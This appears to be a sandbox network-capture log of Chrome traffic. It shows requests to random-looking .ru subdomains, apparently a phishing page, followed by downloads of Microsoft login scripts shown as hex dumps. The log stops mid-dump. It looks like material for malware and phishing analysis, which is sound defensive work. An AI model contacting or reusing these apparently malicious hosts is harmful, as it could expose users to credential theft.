2024-12-11 18:22:39 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1759472969:1733938185:6Ak7oULa4BiQMxykmoOEDeACrRtY62PkChtHZRgN3C0/8f077fd7ad501889/.WxIwZ6A3N99rM2kAENNnQzOAqVJeC8ksv5OQCLJyzQ-1733941338-1.1.1.1-lpkpeHPLCxpcvGPGfzydAp90kelNHZABhKJ0DCxrZui6wLJzSoy2zSEqk.e3xYiv HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:22:39 UTC	379	IN	HTTP/1.1 404 Not Found Date: Wed, 11 Dec 2024 18:22:39 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: o0D6ZFdfaGQvO1LxVriFmDYkdOLN6PD2W3w=$zoTXpAXzLT3wQhEn cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8f078058e91c43d9-EWR alt-svc: h3=":443"; ma=86400
2024-12-11 18:22:39 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49789	104.21.32.251	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:22:40 UTC	682	OUT	GET /4306172799134194766bHeUEqXjUGTCLUWUEHYLDBTSPCAKAHEQGIMSXBUAZQAESKHKFEVOBMX HTTP/1.1 Host: o3hqggd31yjdse7eyaddwl8ujyzpezhvxa06xj60zhhmybhlmti0jv.ezmbsgzm.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://18qdy4sm2g.lomidore.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://18qdy4sm2g.lomidore.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:22:41 UTC	896	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 18:22:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PExxxRK0KIfNXkzyQKJE16%2B%2FUNVOs0pxnId7V%2BerYKCA6NSTSuTrjplhVH7jiLTot585V4HEViEYYv7OlMWj3rRjnYfB%2B%2Fostq5LXasrcrYnoiwtJaSxObZjSbDKQhSa%2F8pCzcVLI0YBPmPmbMO6dZJvTS%2FCFgdcNq4P713T19AOYyTwYboYLOUWkGlF25hQJE7bPiw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f0780619d3cefa1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1986&min_rtt=1971&rtt_var=769&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1260&delivery_rate=1395126&cwnd=164&unsent_bytes=0&cid=f90baf4fb8864ae1&ts=905&x=0"
2024-12-11 18:22:41 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2024-12-11 18:22:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49802	104.21.32.251	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:22:44 UTC	464	OUT	GET /4306172799134194766bHeUEqXjUGTCLUWUEHYLDBTSPCAKAHEQGIMSXBUAZQAESKHKFEVOBMX HTTP/1.1 Host: o3hqggd31yjdse7eyaddwl8ujyzpezhvxa06xj60zhhmybhlmti0jv.ezmbsgzm.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:22:45 UTC	892	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 18:22:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QFXEhztpbdlIEiNqakt5HHgXcfvVGXxINVN4bxCuvO6KkDPOEunp8QZWvNMPVC6hO%2BnLiLl8jz3ZGnlbEHbsMBe1dEeVnYAfn1DugG6rtEaSf%2FL7t7Dg2I%2BwUGVVyvOY6X4DNEz%2BmK52LmC5YQa8S6dD44DhSS37Wx%2BGGIIeHh2A4HFfDyvB2jt1FfGhG8un3ww1MG0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f078079f986424d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1630&min_rtt=1623&rtt_var=623&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=1042&delivery_rate=1737061&cwnd=208&unsent_bytes=0&cid=b573f55ab2b54bc4&ts=911&x=0"
2024-12-11 18:22:45 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2024-12-11 18:22:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49875	152.199.21.175	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:22:57 UTC	602	OUT	GET /16.000/content/js/MeControl_yl3C2NknpDMsGqlCvzLtmA2.js HTTP/1.1 Host: logincdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.live.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://login.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:22:58 UTC	749	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 4640117 Cache-Control: public, max-age=31536000 Content-MD5: wSivwHgvU7RUbv49+rKtgA== Content-Type: application/x-javascript Date: Wed, 11 Dec 2024 18:22:57 GMT Etag: 0x8DCE2A1DB80E2DD Last-Modified: Wed, 02 Oct 2024 05:19:58 GMT Server: ECAcc (lhc/7972) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 78b9f1d7-301e-001b-0dc6-216acd000000 x-ms-version: 2009-09-19 Content-Length: 17287 Connection: close
2024-12-11 18:22:58 UTC	16383	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 5f 68 58 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 74 72 75 65 3a 61 3d 3d 30 7c 7c 61 3d 3d 66 61 6c 73 65 7c 7c 61 3d 3d 22 22 7d 66 75 6e 63 74 69 6f 6e 20 5f 44 75 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 68 58 28 61 29 3f 61 3a 62 7d 66 75 6e 63 74 69 6f 6e 20 5f 4a 28 61 29 7b 72 65 74 75 72 6e 20 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 7d 66 75 6e 63 74 69 6f 6e 20 5f 42 44 28 61 29 7b 72 65 74 75 72 6e 20 22 66 75 6e 63 74 69 6f 6e 22 2e 5f 66 30 28 74 79 70 65 6f 66 20 61 2c 74 72 75 65 29 7d 66 75 6e 63 74 69 6f 6e 20 5f 46 28 61 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 61 3d 3d 22 73 74 72 69 6e 67 22 7d 66 75 6e 63 74 69 6f 6e 20 5f 42 45 28 61 29 7b 72 65 74 75 72 6e 20 5f 68 58 28 61 29 26 26 5f Data Ascii: function _hX(a){return a?true:a==0\|\|a==false\|\|a==""}function _Du(a,b){return _hX(a)?a:b}function _J(a){return a instanceof Array}function _BD(a){return "function"._f0(typeof a,true)}function _F(a){return typeof a=="string"}function _BE(a){return _hX(a)&&_
2024-12-11 18:22:58 UTC	904	IN	Data Raw: 64 69 72 65 63 74 55 72 69 56 61 6c 69 64 3d 53 65 72 76 65 72 44 61 74 61 2e 63 45 3b 69 66 28 64 29 62 2e 70 65 72 66 6f 72 6d 61 6e 63 65 3d 64 7d 72 65 74 75 72 6e 20 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 62 29 7d 2c 5f 64 56 3a 66 75 6e 63 74 69 6f 6e 28 64 2c 63 2c 61 29 7b 76 61 72 20 62 3d 7b 65 72 72 6f 72 3a 64 2c 75 73 65 72 4c 69 73 74 3a 5b 5d 2c 70 6f 73 74 4c 6f 67 6f 75 74 52 65 64 69 72 65 63 74 55 72 69 56 61 6c 69 64 3a 63 7d 3b 69 66 28 61 29 62 2e 70 65 72 66 6f 72 6d 61 6e 63 65 3d 61 3b 72 65 74 75 72 6e 20 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 62 29 7d 2c 5f 66 33 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 4d 65 43 6f 6e 74 72 6f 6c 2e 5f 6a 51 28 61 2e 6f 72 69 67 69 6e 29 21 3d 3d 4d 65 43 6f 6e 74 72 6f 6c 2e Data Ascii: directUriValid=ServerData.cE;if(d)b.performance=d}return JSON.stringify(b)},_dV:function(d,c,a){var b={error:d,userList:[],postLogoutRedirectUriValid:c};if(a)b.performance=a;return JSON.stringify(b)},_f3:function(a){if(MeControl._jQ(a.origin)!==MeControl.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49877	152.199.21.175	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:22:57 UTC	635	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.microsoftonline.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:22:58 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 6021604 Cache-Control: public, max-age=31536000 Content-MD5: m5bMCfnonQM0ui+8IrUZeg== Content-Type: application/x-javascript Date: Wed, 11 Dec 2024 18:22:58 GMT Etag: 0x8DCE31CBE97473C Last-Modified: Wed, 02 Oct 2024 19:59:37 GMT Server: ECAcc (lhc/78AB) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: fb7c97c3-801e-0062-1535-154340000000 x-ms-version: 2009-09-19 Content-Length: 142367 Connection: close
2024-12-11 18:22:58 UTC	16383	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2024-12-11 18:22:58 UTC	16383	IN	Data Raw: 29 29 7d 66 6f 72 28 76 61 72 20 6f 3d 30 3b 6f 3c 74 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 6f 5d 2e 73 70 6c 69 74 28 22 2c 22 29 2e 6d 61 70 28 4e 75 6d 62 65 72 29 2c 61 3d 69 5b 30 5d 2c 73 3d 69 5b 31 5d 2c 75 3d 69 5b 32 5d 3b 69 66 28 72 28 65 2c 61 2c 73 2c 75 29 29 72 65 74 75 72 6e 21 30 7d 72 65 74 75 72 6e 21 21 6c 2e 66 69 72 73 74 28 6e 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 3d 3d 65 2e 74 72 69 6d 28 29 7d 29 29 7d 69 66 28 5f 2e 69 73 48 69 67 68 43 6f 6e 74 72 61 73 74 28 29 29 7b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 62 6f 64 79 22 29 5b 30 5d 2c 6e 3d 5f 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 74 Data Ascii: ))}for(var o=0;o<t.length;o++){var i=t[o].split(",").map(Number),a=i[0],s=i[1],u=i[2];if(r(e,a,s,u))return!0}return!!l.first(n,(function(t){return t===e.trim()}))}if(_.isHighContrast()){var t=document.getElementsByTagName("body")[0],n=_.getComputedStyle(t
2024-12-11 18:22:58 UTC	16383	IN	Data Raw: 50 50 5f 45 5f 4e 41 4d 45 5f 54 4f 4f 5f 53 48 4f 52 54 3a 22 38 30 30 34 31 31 30 31 22 2c 50 50 5f 45 5f 4e 41 4d 45 5f 49 4e 56 41 4c 49 44 3a 22 38 30 30 34 31 31 30 33 22 2c 50 50 5f 45 5f 49 4e 56 41 4c 49 44 41 52 47 3a 22 38 30 30 34 38 33 38 38 22 2c 50 50 5f 45 5f 53 41 5f 54 4f 4f 53 48 4f 52 54 3a 22 38 30 30 34 31 31 32 30 22 2c 50 50 5f 45 5f 53 41 5f 54 4f 4f 4c 4f 4e 47 3a 22 38 30 30 34 31 31 32 31 22 2c 50 50 5f 45 5f 49 4e 56 41 4c 49 44 5f 50 48 4f 4e 45 4e 55 4d 42 45 52 3a 22 38 30 30 34 31 31 33 46 22 2c 50 50 5f 45 5f 53 45 43 52 45 54 51 5f 43 4f 4e 54 41 49 4e 53 5f 53 45 43 52 45 54 41 3a 22 38 30 30 34 31 31 36 35 22 2c 50 50 5f 45 5f 53 45 43 52 45 54 41 5f 43 4f 4e 54 41 49 4e 53 5f 53 45 43 52 45 54 51 3a 22 38 30 30 34 31 Data Ascii: PP_E_NAME_TOO_SHORT:"80041101",PP_E_NAME_INVALID:"80041103",PP_E_INVALIDARG:"80048388",PP_E_SA_TOOSHORT:"80041120",PP_E_SA_TOOLONG:"80041121",PP_E_INVALID_PHONENUMBER:"8004113F",PP_E_SECRETQ_CONTAINS_SECRETA:"80041165",PP_E_SECRETA_CONTAINS_SECRETQ:"80041
2024-12-11 18:22:58 UTC	16383	IN	Data Raw: 3a 22 55 49 45 76 65 6e 74 73 22 5d 3d 5b 22 6b 65 79 75 70 22 2c 22 6b 65 79 64 6f 77 6e 22 2c 22 6b 65 79 70 72 65 73 73 22 5d 2c 70 2e 4d 6f 75 73 65 45 76 65 6e 74 73 3d 22 63 6c 69 63 6b 20 64 62 6c 63 6c 69 63 6b 20 6d 6f 75 73 65 64 6f 77 6e 20 6d 6f 75 73 65 75 70 20 6d 6f 75 73 65 6d 6f 76 65 20 6d 6f 75 73 65 6f 76 65 72 20 6d 6f 75 73 65 6f 75 74 20 6d 6f 75 73 65 65 6e 74 65 72 20 6d 6f 75 73 65 6c 65 61 76 65 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 65 28 70 2c 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 74 2e 6c 65 6e 67 74 68 29 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 74 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 68 5b 74 5b 6e 5d 5d 3d 65 7d 29 29 3b 76 61 72 20 67 2c 6d 3d 7b 70 72 6f 70 65 72 74 79 63 68 61 6e 67 65 3a 21 Data Ascii: :"UIEvents"]=["keyup","keydown","keypress"],p.MouseEvents="click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave".split(" "),e(p,(function(e,t){if(t.length)for(var n=0,r=t.length;n<r;n++)h[t[n]]=e}));var g,m={propertychange:!
2024-12-11 18:22:58 UTC	4	IN	Data Raw: 7d 2c 6f 3a Data Ascii: },o:
2024-12-11 18:22:58 UTC	16383	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6e 29 72 65 74 75 72 6e 20 6e 2e 6f 7d 7d 7d 28 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 22 2c 53 2e 53 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 67 65 74 44 65 70 65 6e 64 65 6e 63 69 65 73 43 6f 75 6e 74 22 2c 53 2e 53 2e 71 61 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 67 65 74 44 65 70 65 6e 64 65 6e 63 69 65 73 22 2c 53 2e 53 2e 56 61 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 69 73 49 6e 69 74 69 61 6c 22 2c 53 2e 53 2e 59 61 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 72 65 67 69 73 74 65 72 44 65 70 65 6e 64 65 6e 63 79 22 2c 53 2e 53 2e 63 63 29 2c 53 2e 62 28 22 69 67 6e 6f 72 Data Ascii: function(){if(n)return n.o}}}(),S.b("computedContext",S.S),S.b("computedContext.getDependenciesCount",S.S.qa),S.b("computedContext.getDependencies",S.S.Va),S.b("computedContext.isInitial",S.S.Ya),S.b("computedContext.registerDependency",S.S.cc),S.b("ignor
2024-12-11 18:22:58 UTC	16383	IN	Data Raw: 6d 2e 76 62 28 65 2c 72 29 2b 22 7d 7d 7d 22 3b 73 3d 6e 65 77 20 46 75 6e 63 74 69 6f 6e 28 22 24 63 6f 6e 74 65 78 74 22 2c 22 24 65 6c 65 6d 65 6e 74 22 2c 75 29 2c 6f 3d 69 5b 61 5d 3d 73 7d 72 65 74 75 72 6e 20 6f 28 74 2c 6e 29 7d 63 61 74 63 68 28 63 29 7b 74 68 72 6f 77 20 63 2e 6d 65 73 73 61 67 65 3d 22 55 6e 61 62 6c 65 20 74 6f 20 70 61 72 73 65 20 62 69 6e 64 69 6e 67 73 2e 5c 6e 42 69 6e 64 69 6e 67 73 20 76 61 6c 75 65 3a 20 22 2b 65 2b 22 5c 6e 4d 65 73 73 61 67 65 3a 20 22 2b 63 2e 6d 65 73 73 61 67 65 2c 63 7d 7d 7d 29 2c 53 2e 67 61 2e 69 6e 73 74 61 6e 63 65 3d 6e 65 77 20 53 2e 67 61 2c 53 2e 62 28 22 62 69 6e 64 69 6e 67 50 72 6f 76 69 64 65 72 22 2c 53 2e 67 61 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 Data Ascii: m.vb(e,r)+"}}}";s=new Function("$context","$element",u),o=i[a]=s}return o(t,n)}catch(c){throw c.message="Unable to parse bindings.\nBindings value: "+e+"\nMessage: "+c.message,c}}}),S.ga.instance=new S.ga,S.b("bindingProvider",S.ga),function(){function e(
2024-12-11 18:22:58 UTC	16383	IN	Data Raw: 65 74 22 29 26 26 6e 2e 68 61 73 28 22 76 61 6c 75 65 22 29 2c 64 3d 6e 2e 67 65 74 28 22 6f 70 74 69 6f 6e 73 49 6e 63 6c 75 64 65 44 65 73 74 72 6f 79 65 64 22 29 3b 74 3d 7b 7d 3b 76 61 72 20 66 2c 70 3d 5b 5d 3b 6c 7c 7c 28 73 3f 70 3d 53 2e 61 2e 4d 62 28 72 28 29 2c 53 2e 77 2e 4d 29 3a 30 3c 3d 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 26 26 70 2e 70 75 73 68 28 53 2e 77 2e 4d 28 65 2e 6f 70 74 69 6f 6e 73 5b 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 5d 29 29 29 2c 63 26 26 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 63 2e 6c 65 6e 67 74 68 26 26 28 63 3d 5b 63 5d 29 2c 66 3d 53 2e 61 2e 6a 62 28 63 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 64 7c 7c 65 3d 3d 3d 61 7c 7c 6e 75 6c 6c 3d 3d 3d 65 7c 7c 21 Data Ascii: et")&&n.has("value"),d=n.get("optionsIncludeDestroyed");t={};var f,p=[];l\|\|(s?p=S.a.Mb(r(),S.w.M):0<=e.selectedIndex&&p.push(S.w.M(e.options[e.selectedIndex]))),c&&("undefined"==typeof c.length&&(c=[c]),f=S.a.jb(c,(function(e){return d\|\|e===a\|\|null===e\|\|!
2024-12-11 18:22:58 UTC	16383	IN	Data Raw: 72 6e 20 69 7c 7c 28 69 3d 74 2e 74 65 78 74 28 29 7c 7c 22 22 2c 69 3d 6c 2e 74 65 6d 70 6c 61 74 65 28 6e 75 6c 6c 2c 22 7b 7b 6b 6f 5f 77 69 74 68 20 24 69 74 65 6d 2e 6b 6f 42 69 6e 64 69 6e 67 43 6f 6e 74 65 78 74 7d 7d 22 2b 69 2b 22 7b 7b 2f 6b 6f 5f 77 69 74 68 7d 7d 22 29 2c 74 2e 64 61 74 61 28 22 70 72 65 63 6f 6d 70 69 6c 65 64 22 2c 69 29 29 2c 74 3d 5b 6e 2e 24 64 61 74 61 5d 2c 6e 3d 6c 2e 65 78 74 65 6e 64 28 7b 6b 6f 42 69 6e 64 69 6e 67 43 6f 6e 74 65 78 74 3a 6e 7d 2c 72 2e 74 65 6d 70 6c 61 74 65 4f 70 74 69 6f 6e 73 29 2c 28 6e 3d 6c 2e 74 6d 70 6c 28 69 2c 74 2c 6e 29 29 2e 61 70 70 65 6e 64 54 6f 28 6f 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 29 2c 6c 2e 66 72 61 67 6d 65 6e 74 73 3d 7b 7d 2c 6e 7d 2c 74 68 69 Data Ascii: rn i\|\|(i=t.text()\|\|"",i=l.template(null,"{{ko_with $item.koBindingContext}}"+i+"{{/ko_with}}"),t.data("precompiled",i)),t=[n.$data],n=l.extend({koBindingContext:n},r.templateOptions),(n=l.tmpl(i,t,n)).appendTo(o.createElement("div")),l.fragments={},n},thi
2024-12-11 18:22:58 UTC	11299	IN	Data Raw: 65 2e 6e 6f 74 69 66 79 4f 6e 43 6c 69 65 6e 74 41 62 6f 72 74 7c 7c 21 31 2c 6d 3d 6c 2e 53 65 72 76 65 72 44 61 74 61 2e 66 53 61 73 45 6e 64 41 75 74 68 50 6f 73 74 54 6f 47 65 74 53 77 69 74 63 68 2c 76 3d 6c 2e 53 65 72 76 65 72 44 61 74 61 2e 66 46 69 78 55 49 43 72 61 73 68 46 6f 72 41 70 69 52 65 71 75 65 73 74 48 61 6e 64 6c 65 72 3b 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 76 61 72 20 74 3d 7b 68 70 67 69 64 3a 64 2e 68 70 67 69 64 7c 7c 30 2c 68 70 67 61 63 74 3a 64 2e 68 70 67 61 63 74 7c 7c 30 7d 3b 72 65 74 75 72 6e 20 65 7c 7c 28 74 2e 41 63 63 65 70 74 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 2c 6e 26 26 64 2e 61 70 69 43 61 6e 61 72 79 26 26 28 74 2e 63 61 6e 61 72 79 3d 64 2e 61 70 69 43 61 6e 61 72 79 29 29 2c 64 2e 63 Data Ascii: e.notifyOnClientAbort\|\|!1,m=l.ServerData.fSasEndAuthPostToGetSwitch,v=l.ServerData.fFixUICrashForApiRequestHandler;function b(e){var t={hpgid:d.hpgid\|\|0,hpgact:d.hpgact\|\|0};return e\|\|(t.Accept="application/json",n&&d.apiCanary&&(t.canary=d.apiCanary)),d.c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49891	152.199.21.175	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:23:00 UTC	399	OUT	GET /16.000/content/js/MeControl_yl3C2NknpDMsGqlCvzLtmA2.js HTTP/1.1 Host: logincdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:23:00 UTC	749	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 4640120 Cache-Control: public, max-age=31536000 Content-MD5: wSivwHgvU7RUbv49+rKtgA== Content-Type: application/x-javascript Date: Wed, 11 Dec 2024 18:23:00 GMT Etag: 0x8DCE2A1DB80E2DD Last-Modified: Wed, 02 Oct 2024 05:19:58 GMT Server: ECAcc (lhc/7972) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 78b9f1d7-301e-001b-0dc6-216acd000000 x-ms-version: 2009-09-19 Content-Length: 17287 Connection: close
2024-12-11 18:23:00 UTC	16383	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 5f 68 58 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 74 72 75 65 3a 61 3d 3d 30 7c 7c 61 3d 3d 66 61 6c 73 65 7c 7c 61 3d 3d 22 22 7d 66 75 6e 63 74 69 6f 6e 20 5f 44 75 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 68 58 28 61 29 3f 61 3a 62 7d 66 75 6e 63 74 69 6f 6e 20 5f 4a 28 61 29 7b 72 65 74 75 72 6e 20 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 7d 66 75 6e 63 74 69 6f 6e 20 5f 42 44 28 61 29 7b 72 65 74 75 72 6e 20 22 66 75 6e 63 74 69 6f 6e 22 2e 5f 66 30 28 74 79 70 65 6f 66 20 61 2c 74 72 75 65 29 7d 66 75 6e 63 74 69 6f 6e 20 5f 46 28 61 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 61 3d 3d 22 73 74 72 69 6e 67 22 7d 66 75 6e 63 74 69 6f 6e 20 5f 42 45 28 61 29 7b 72 65 74 75 72 6e 20 5f 68 58 28 61 29 26 26 5f Data Ascii: function _hX(a){return a?true:a==0\|\|a==false\|\|a==""}function 